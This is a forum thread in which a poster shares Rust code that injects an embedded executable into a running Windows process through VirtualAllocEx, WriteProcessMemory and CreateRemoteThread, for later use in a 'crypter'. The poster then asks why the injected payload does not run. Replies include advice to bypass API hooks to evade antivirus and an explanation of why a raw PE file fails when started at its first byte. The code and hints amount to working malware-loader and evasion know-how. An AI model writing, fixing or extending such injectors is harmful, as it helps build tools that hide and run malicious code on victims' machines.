Windows Rust Code Injection Problem

// goal of the project is to develop a function
// which injects bytes into memory
// so that i can use it later in my crypter

// Use the include_bytes! macro to include a binary file as a byte slice
static SHELLCODE: &[u8] = include_bytes!("C:\\Users\\Kris\\Desktop\\windows_igracho\\payload.exe");

use std::mem::transmute;
use std::fs::File;
use std::io::Read;
use std::ptr;
use windows::Win32::Foundation::{GetLastError, HANDLE};
use windows::core::Error;
use windows::Win32::System::Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ};
use std::os::raw::c_void;
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Threading::{
    CreateRemoteThread, OpenProcess, LPTHREAD_START_ROUTINE, PROCESS_ALL_ACCESS};


unsafe fn open_process(id:u32)->Result<HANDLE , Error>{
    let desired_access = PROCESS_ALL_ACCESS;
    let result = OpenProcess(desired_access, false, id)?;
    Ok(result)
}

unsafe fn allocate_memory(handle:&HANDLE, dwsize:usize) -> *mut c_void{
    let lpaddress:Option<*const c_void> = None;

    let flallocationtype = MEM_COMMIT | MEM_RESERVE;
    let flprotect = PAGE_EXECUTE_READ;
    let address = VirtualAllocEx(*handle , lpaddress , dwsize ,
                                            flallocationtype , flprotect);
    address
}

unsafe fn write_in_memory(
    handle:&HANDLE,
    addr: *mut c_void,
    shellcode:*const c_void ,
    nsize:&usize
) -> Result<() , Error>{
    let success = WriteProcessMemory(*handle , addr, shellcode , *nsize , None)?;

    Ok(success)
}

unsafe fn create_thread_execution(handle: &HANDLE, startaddress:LPTHREAD_START_ROUTINE) -> Result<HANDLE,Error>{
    let thread_handle = CreateRemoteThread(*handle , None , 0 ,startaddress , None ,0,None)?;

    Ok(thread_handle)

}


fn main()-> Result<() , Box<dyn std::error::Error>>{
    let process_id:u32= 15564;
    let mut shellcode = SHELLCODE.to_vec();
    // file!include_bytes!(&mut shellcode)?;
    let dwsize = shellcode.len();

    unsafe {
        let process_handle = open_process(process_id)?;
        let base_address = allocate_memory(&process_handle, dwsize);
        let shellcode:Vec<u8> = shellcode;
        let success = write_in_memory(&process_handle, base_address,
                                      shellcode.as_ptr() as *const c_void, &(shellcode.len() + 2))?;

        let startaddress = Some(transmute(base_address));
        let thread_handle = create_thread_execution(&process_handle, startaddress)?;
    }
    println!("Done");
    Ok(())
}

Here is my code which i use with the goal of injecting a binary to run into a target process. I am testing with calculator app.

My payload is not being executed, and the target application crashes.
Code is giving zero errors.
Please show me where i can look for a solution

What do you need this code for? This seems very fishy to me

1 Like

Edited title. Please don't shout.

1 Like

don't worry, this will be easily detected by av, also why is everyone always assuming negativity about rule breaking code (like one time i was accused of backdooring over needing to accept dangerous certificates.)? just let people be, regardless the more samples made, the stronger malware defense gets

1 Like

Red teaming

sorry i wont anymore

why will this code trigger the AV? because of the new memory allocation into calculator?

Also do you maybe have some tips to make the code work:DD

you need to bypass api hooks

1 Like

I figured out the process crashing -> it was due to the windows thread lock memory. So i spawned in suspended state, and later on resume it. However the code i try to embed is still not excecuting.

1 Like

To be honest it doesn't sound like a rust problem, so you may have better luck in other communities.

It looks like you're stuffing a PE file into another process then trying to start a thread at offset zero of that file. If that's what you're doing then you need to know that PE files have headers. The beginning of such things is not executable. In addition, they nearly always have fixups / imports that the loader adjusts.

2 Likes

This topic was automatically closed 90 days after the last reply. We invite you to open a new topic if you have further questions or comments.